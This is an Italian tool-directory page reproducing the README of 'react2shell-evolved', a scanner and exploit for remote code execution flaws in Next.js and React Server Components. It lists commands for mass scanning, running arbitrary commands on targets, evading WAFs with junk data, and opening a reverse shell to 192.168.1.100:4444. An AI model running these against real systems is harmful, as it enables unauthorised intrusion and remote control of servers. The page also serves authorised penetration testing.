Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
react2shell-evolved — Una versione evoluta dello scanner assetnote CVE-2025-55182 | Kitploit
Strumenti/GitHubGitHub/guiimoraes/react2shell-evolved
Scanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebBypass WAFPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubguiimoraes/react2shell-evolved

react2shell-evolved

Una versione evoluta dello scanner assetnote CVE-2025-55182

Vedi Repository
21219 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

React2Shell Scanner

High Fidelity Detection for RSC/Next.js RCE

Scanner per il rilevamento di vulnerabilità di Remote Code Execution (RCE) in applicazioni React Server Components e Next.js.

Informazioni

React2Shell Scanner è uno strumento specializzato per identificare vulnerabilità di esecuzione remota di codice (RCE) in applicazioni che utilizzano React Server Components (RSC) e Next.js. Lo strumento rileva vulnerabilità relative ai seguenti CVE:

  • CVE-2025-55182
  • CVE-2025-66478

Lo strumento esegue controlli ad alta fedeltà utilizzando side-channel detection e proof-of-concept di RCE, con capacità di estrarre risultati dinamici di comandi eseguiti tramite parsing automatico delle risposte HTTP.

Questa è una versione modificata da @imguimoraes dello scanner originale sviluppato da Assetnote Security Research Team. Il PoC RCE originale è stato creato da @maple3142.

Caratteristiche

  • Rilevamento ad alta fedeltà utilizzando side-channel e PoC RCE
  • Esecuzione multi-thread per scansione in massa
  • Estrazione dinamica dei risultati dei comandi eseguiti (parsing automatico di header e corpo della risposta)
  • WAF bypass con dati casuali configurabili
  • Supporto per Windows (PowerShell) e Linux/Unix (shell)
  • Output in JSON strutturato per analisi successive
  • Seguimento automatico dei redirect
  • Interfaccia con barra di avanzamento e output colorato

Installazione

Requisiti

  • Python 3.8 o superiore
  • pip (gestore di pacchetti Python)

Installazione delle Dipendenze

pip install requests tqdm

Oppure usando il file requirements.txt:

pip install -r requirements.txt

Utilizzo

Sintassi di Base

python scanner.py [-u URL | -l FILE] [opzioni]

Verificare un singolo URL

python scanner.py -u https://example.com

Verificare più URL

python scanner.py -l hosts.txt

Opzioni della Riga di Comando

Opzioni di Input (obbligatoria una di esse)

OpzioneDescrizione
-u, --url URLURL o singolo host da verificare
-l, --list FILEFile contenente una lista di host (uno per riga)

Opzioni di Esecuzione

OpzioneDescrizione
-t, --threads NNumero di thread concorrenti (predefinito: 10)
--timeout SECONDSTimeout delle richieste in secondi (predefinito: 10)
-k, --insecureDisabilitare verifica del certificato SSL (abilitato per impostazione predefinita)

Opzioni di Output

OpzioneDescrizione
-o, --output FILEFile di output per risultati in formato JSON
--all-resultsSalvare tutti i risultati nel file, non solo vulnerabili
-v, --verboseOutput verboso (mostra snippet di risposta per analisi)
-q, --quietModalità silenziosa (mostra solo host vulnerabili)
--no-colorDisabilitare output colorato

Opzioni degli Header

OpzioneDescrizione
-H, --header "Key: Value"Aggiungere header HTTP personalizzato (può essere usato più volte)

Opzioni di Exploit

OpzioneDescrizione
--safe-checkUsare rilevamento side-channel sicuro invece di PoC RCE (non esegue codice)
--windowsUsare payload PowerShell invece di shell Unix (per ambienti Windows)
--waf-bypassAggiungere dati casuali al payload per bypass WAF (predefinito: 128KB)
--waf-bypass-size KBDimensione dei dati casuali in KB per bypass WAF (predefinito: 128)
--payload COMMANDComando personalizzato da eseguire nel RCE (predefinito: echo $((41*271)))
--reverse-shell IP:PORTCreare connessione reverse shell per IP:PORT specificati

Esempi di Utilizzo

Esempio 1: Scansione base di un host

python scanner.py -u https://target.com

Esempio 2: Scansione in massa con più thread

python scanner.py -l targets.txt -t 50 --timeout 15

Esempio 3: Scansione con output JSON

python scanner.py -l targets.txt -o results.json --all-results

Esempio 4: Scansione con header personalizzati

python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Esempio 5: Scansione con payload personalizzato

python scanner.py -u https://target.com --payload "whoami"

Esempio 6: Scansione con WAF bypass

python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Esempio 7: Scansione in ambiente Windows

python scanner.py -u https://target.com --windows --payload "whoami"

Esempio 8: Scansione con safe check (non invasivo)

python scanner.py -l targets.txt --safe-check

Esempio 9: Scansione verbosa completa

python scanner.py -l targets.txt -v --all-results -o full_scan.json

Esempio 10: Stabilire reverse shell

python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Formato di Output

Output nel Terminale

Lo scanner visualizza i risultati con codici colore che indicano lo stato:

  • [VULNERABLE] - Host vulnerabile (rosso)
  • [NOT VULNERABLE] - Host non vulnerabile (verde)
  • [ERROR] - Errore durante la verifica (giallo)

Per host vulnerabili, il risultato del comando eseguito viene mostrato quando disponibile tramite estrazione automatica dell'header X-Action-Redirect o del corpo della risposta.

Formato JSON

Quando si utilizza l'opzione -o, l'output viene salvato in formato JSON con la seguente struttura:

{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Campi del risultato:

  • vulnerable: true se vulnerabile, false se non vulnerabile, null se si è verificato un errore
  • command_result: Risultato del comando eseguito estratto dalla risposta (quando disponibile)
  • final_url: URL finale testato (dopo seguimento di redirect, se abilitato)
  • status_code: Codice HTTP della risposta
  • request: Richiesta HTTP completa inviata
  • response: Risposta HTTP ricevuta (primi 2000 caratteri)
  • error: Messaggio di errore se presente
  • timestamp: Timestamp UTC della verifica

Funzionalità Tecniche

Metodi di Rilevamento

Lo scanner offre due metodi di rilevamento:

  1. Safe Check (--safe-check): Rilevamento side-channel non invasivo che controlla pattern di errore nella risposta senza eseguire codice. Utile per scansione iniziale senza impatto.

  2. RCE PoC: Esecuzione reale di codice remoto con estrazione dinamica dei risultati. Utilizza payload basati su Node.js child_process per esecuzione di comandi di sistema.

Estrazione dei Risultati

Lo scanner esegue il parsing automatico delle risposte HTTP per estrarre i risultati dei comandi eseguiti:

  • Estrazione dell'header X-Action-Redirect (formato: NEXT_REDIRECT;push;/login?a=<risultato>;307;)
  • Estrazione del corpo della risposta (formato: E{"digest":"<risultato>"} o 1:E{"digest":"<risultato>"})
  • Funziona con qualsiasi comando/payload personalizzato tramite il parametro --payload

L'estrazione viene eseguita dinamicamente, non dipendendo da valori fissi, consentendo di validare l'esecuzione di qualsiasi comando.

WAF Bypass

Quando si utilizza l'opzione --waf-bypass:

  • Aggiunge dati casuali (junk data) all'inizio del payload multipart/form-data
  • Dimensione configurabile tramite --waf-bypass-size (predefinito: 128KB)
  • Utile per aggirare filtri WAF che ispezionano il contenuto del corpo della richiesta
  • Il timeout viene automaticamente aumentato a 20 secondi quando WAF bypass è attivo
Scarica lo strumento